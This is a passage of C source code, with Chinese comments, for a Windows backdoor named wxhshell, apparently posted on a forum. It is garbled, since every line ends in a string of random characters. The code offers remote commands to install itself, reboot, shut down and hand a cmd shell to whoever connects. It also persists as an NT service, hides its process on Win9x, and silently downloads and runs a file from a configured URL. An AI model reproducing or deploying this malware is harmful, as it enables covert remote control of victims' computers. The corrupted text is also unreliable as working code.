  else { y,qP$ 5xiq  
fR_ jYP 1  
    switch(cmd[0]) { GwiG..Y]&  
  HI/]s^aL  
  // 帮助 iku8T*&uc  
  case '?': { _XT],"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '[#a-8-JY_  
    break; 6OYXcPW'  
  } #Mo`l/Cwp  
  // 安装 n8(B%KF  
  case 'i': { [8*Ovd  
    if(Install()) cBf9-k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;t!n%SnK9!  
    else ,h21 h?6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' Cy^G;  
    break; /lAB  
    } ?pgdj|"a  
  // 卸载 w:Ui_-4*>  
  case 'r': { 5,=Yi$x  
    if(Uninstall()) TR!^wB<F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <>aBmJs4  
    else 5 e:Urv77  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )6|7L)Dk  
    break; `(A6uakd  
    } =PHl|^  
  // 显示 wxhshell 所在路径 X! 5N2x  
  case 'p': { b i^h&H  
    char svExeFile[MAX_PATH]; _`lj 3Lm0>  
    strcpy(svExeFile,"\n\r"); u2HkAPhD  
      strcat(svExeFile,ExeFile); pAS!;t=n,  
        send(wsh,svExeFile,strlen(svExeFile),0); rQiX7  
    break; EubR] ckB  
    } SNP.n))   
  // 重启 d_9Fc" C~  
  case 'b': { Hj ]$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PoMkFG6  
    if(Boot(REBOOT)) ps0wN%tA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f`<j(.{9F  
    else { _3$@s{k-TI  
    closesocket(wsh); }HS:3Dt  
    ExitThread(0); ?]gZg[  
    } @C)O[&Sk  
    break; lhg3 }dW  
    } g-'y_'%0G  
  // 关机 zx^]3}  
  case 'd': { h}xUZ:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #1R_* Uh  
    if(Boot(SHUTDOWN)) }aYm86C]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9@AGx<S1  
    else { %VYQz)yW  
    closesocket(wsh); G)gf +)W  
    ExitThread(0); 8?] :>  
    } '$Jt}O  
    break; eydVWVN  
    } ln.kEhQ3B  
  // 获取shell 8D]:>[|E  
  case 's': { n+@}8;oeP  
    CmdShell(wsh); g+/%r91hZ  
    closesocket(wsh); !- f>*|@  
    ExitThread(0); lJ]r %YlF  
    break; !f_GR Pj'  
  } P# 2&?.d\  
  // 退出 2=ZR}8}9Q:  
  case 'x': { Z+ubc"MVb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cus=UzL  
    CloseIt(wsh); m%V+px  
    break; ZCPK{Ru QE  
    } J<DV7zV  
  // 离开 b~06-dk1  
  case 'q': { ulFU(%&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o;Ijv\Em  
    closesocket(wsh); 4W8rb'B!Ay  
    WSACleanup(); |Hn[XRsf  
    exit(1); q! W ~>c!  
    break; 1!8*mk_R{  
        } 20m6-rkI<}  
  } P Y +~,T2  
  }  d$ Mk  
zF /}s_><*  
  // 提示信息 I^Ichn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *lv)9L+0  
} hM E|=\  
  } :b>Z|7g?  
K-wjQ|*1  
  return; 1=#r$H  
} $oE 4q6b  
dgssX9g37  
// shell模块句柄 $m/-E#I #Z  
int CmdShell(SOCKET sock) L1BpkB  
{ $}oQ=+c5  
STARTUPINFO si; e<5+&Cj  
ZeroMemory(&si,sizeof(si)); N&NOh|YS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V2es.I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Td[w<m+p<P  
PROCESS_INFORMATION ProcessInfo; Ga f/0/|  
char cmdline[]="cmd"; 0w\X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iMx+y5O  
  return 0; Y=X"YH|  
} MSeO#X  
wI>JOV7  
// 自身启动模式 L:YsAv  
int StartFromService(void) 1 hZM))  
{ OfTcF_%  
typedef struct xmKa8']x  
{ yG&kP:k<  
  DWORD ExitStatus; S "oUE_>  
  DWORD PebBaseAddress; <6/XE@"   
  DWORD AffinityMask; q<>2}[W  
  DWORD BasePriority; UEo,:zeN[  
  ULONG UniqueProcessId; d1e'!y}R5  
  ULONG InheritedFromUniqueProcessId; &o"Hb=k<  
}   PROCESS_BASIC_INFORMATION; JmNeqpbB`w  
@usQ*k  
PROCNTQSIP NtQueryInformationProcess; +azPpGZ=  
PB>p"[ap4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W/oRt<:E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N(vbo  
p8s2#+/  
  HANDLE             hProcess; Oi BK  
  PROCESS_BASIC_INFORMATION pbi; {\|? {8f  
u-UUF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?^BsR  
  if(NULL == hInst ) return 0; i?=3RdP/R1  
{DN c7G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SNvK8,"g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $pk3d+0B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i`&yPw  
]kb%l"&  
  if (!NtQueryInformationProcess) return 0; "EEE09~l\  
b]RCe^E1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 344,mnAd  
  if(!hProcess) return 0; j,/o0k,  
~ $r^Ur!E\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W<!q>8Xn?  
BCUw"R#  
  CloseHandle(hProcess); RB/[(4  
 (i*1M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?[!.TU?4N  
if(hProcess==NULL) return 0; bG^eP :r  
Jr17pu(t  
HMODULE hMod; 4n3QW%#  
char procName[255]; 2IjqT L  
unsigned long cbNeeded; YD@V2gK  
tB(Q-c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !c6 lP'U  
1<\cMY6  
  CloseHandle(hProcess); p00\C  
Rp`}"x9  
if(strstr(procName,"services")) return 1; // 以服务启动 bSz6O/A/  
LV8,nTYvE  
  return 0; // 注册表启动 d,<ctd  
} !LIWoa[ F.  
asQ" |]m  
// 主模块 /SMp`Q88  
int StartWxhshell(LPSTR lpCmdLine) S\0"G*  
{ :\80*[=;Z  
  SOCKET wsl; yr sP'th  
BOOL val=TRUE; _9n.ir5YX  
  int port=0; u x:,io  
  struct sockaddr_in door; S}Mxm 2  
9HTb  
  if(wscfg.ws_autoins) Install(); 00;=6q]TA  
uU5:,Wy+dg  
port=atoi(lpCmdLine); {g/\5Z\b  
Tr@`ozp8  
if(port<=0) port=wscfg.ws_port; I">z#@CT  
P:*'x9`  
  WSADATA data; ZlO@PlZ)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uaU!V4-  
7ZZSAI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T$}<So|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 42m`7uQ  
  door.sin_family = AF_INET; 8 6L&u:o:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h)y"?Jj  
  door.sin_port = htons(port); |AFF*]e S  
)3)L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mnil1*-c0  
closesocket(wsl); W;KHLHp-  
return 1; $wN'mY  
} W 8E<P y  
#mllVQ  
  if(listen(wsl,2) == INVALID_SOCKET) { vjXvjv{t  
closesocket(wsl); ir]uFOj  
return 1; R4IFl z  
} .f jM9G#  
  Wxhshell(wsl); a 3O_8GU  
  WSACleanup(); ~7~nU>Vv  
i6X/`XW'  
return 0; MH !CzV&  
.7) A8R7Wt  
} r ,b  
;OdUH   
// 以NT服务方式启动 'kh%^_FH7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ahV_4;yF  
{ (b{ {B$O  
DWORD   status = 0; {.!:T+'Xi\  
  DWORD   specificError = 0xfffffff; mDM]RAub)  
'|]zBpz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |fw+{f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {Or|] 0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,/d-o;W  
  serviceStatus.dwWin32ExitCode     = 0; KO5Q;H  
  serviceStatus.dwServiceSpecificExitCode = 0; " g_\W  
  serviceStatus.dwCheckPoint       = 0; aB'<#X$x  
  serviceStatus.dwWaitHint       = 0; sL\|y38'  
pnqjAT GU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &rNXn?>b  
  if (hServiceStatusHandle==0) return; Hy `r}+  
@EZXPU  
status = GetLastError(); g` h>:5]  
  if (status!=NO_ERROR) MI@ RdXkY  
{ zM@iG]?kc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2<988F  
    serviceStatus.dwCheckPoint       = 0; LZoth+:  
    serviceStatus.dwWaitHint       = 0; x%(!+  
    serviceStatus.dwWin32ExitCode     = status; ikxSWO_Y=  
    serviceStatus.dwServiceSpecificExitCode = specificError; hG ]jm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lqch~@E&%#  
    return; . }=;]=  
  } 3)3'-wu  
%hTe%(e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jp= (Q]ab  
  serviceStatus.dwCheckPoint       = 0; vW4 f3(/  
  serviceStatus.dwWaitHint       = 0; Wc]Fg9E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R/b=!<  
} 2#E;5UYu  
*=sU+x&X  
// 处理NT服务事件,比如:启动、停止 1i>)@{P&BN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;ib~c,  
{ KK] >0QAY  
switch(fdwControl) d9^=#ot  
{ pixI&iQ  
case SERVICE_CONTROL_STOP: ' l!QGKz  
  serviceStatus.dwWin32ExitCode = 0; lhjPS!A~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &c\8` # 6  
  serviceStatus.dwCheckPoint   = 0; {==Q6BG*  
  serviceStatus.dwWaitHint     = 0; qkBnEPWZy  
  { 4o=G) KO{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3$kZu  
  } &G"]v]V  
  return; IcIMa  
case SERVICE_CONTROL_PAUSE: ZtvU~'Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @e Myq1ZU  
  break; *Zc-&Dk:Ir  
case SERVICE_CONTROL_CONTINUE: h5Z\9`f[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S\X_!|  
  break; un /eS-IIh  
case SERVICE_CONTROL_INTERROGATE: brVT  
  break; :heJ5* !,  
}; A%2!Hr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9rid98~d  
} q OXL(  
m0#hG x  
// 标准应用程序主函数 w%ip"GT,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^Gyl:hN  
{ %kUJ:lg;d  
!*cf}<Kmw  
// 获取操作系统版本 EP8LJzd"  
OsIsNt=GetOsVer(); J\{)qJ*jp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $_ NaxV  
D{4 Y:O&J  
  // 从命令行安装 e-s@@k  
  if(strpbrk(lpCmdLine,"iI")) Install(); *PI3L/*  
^Uf`w7"iY  
  // 下载执行文件 O7K))w  
if(wscfg.ws_downexe) { vd ;wQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IR>K ka(B  
  WinExec(wscfg.ws_filenam,SW_HIDE); "E8!{  
} LNg1q1 P3  
K)14v;@  
if(!OsIsNt) { |/s.PNP2  
// 如果时win9x,隐藏进程并且设置为注册表启动 Mfz5:'  
HideProc(); IX>|bA;  
StartWxhshell(lpCmdLine); Y.73I83-j  
} 3LTO+>, |"  
else Q\r qG  
  if(StartFromService()) 8t^"1ND  
  // 以服务方式启动 hh?'tb{  
  StartServiceCtrlDispatcher(DispatchTable); ,S8Vfb &  
else ysa"f+/  
  // 普通方式启动 6RF01z|~_  
  StartWxhshell(lpCmdLine); ZD<,h` lZ  
*dQRs6  
return 0; J\%:jg( m  
}
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只看该作者 1 发表于: 2006-10-10
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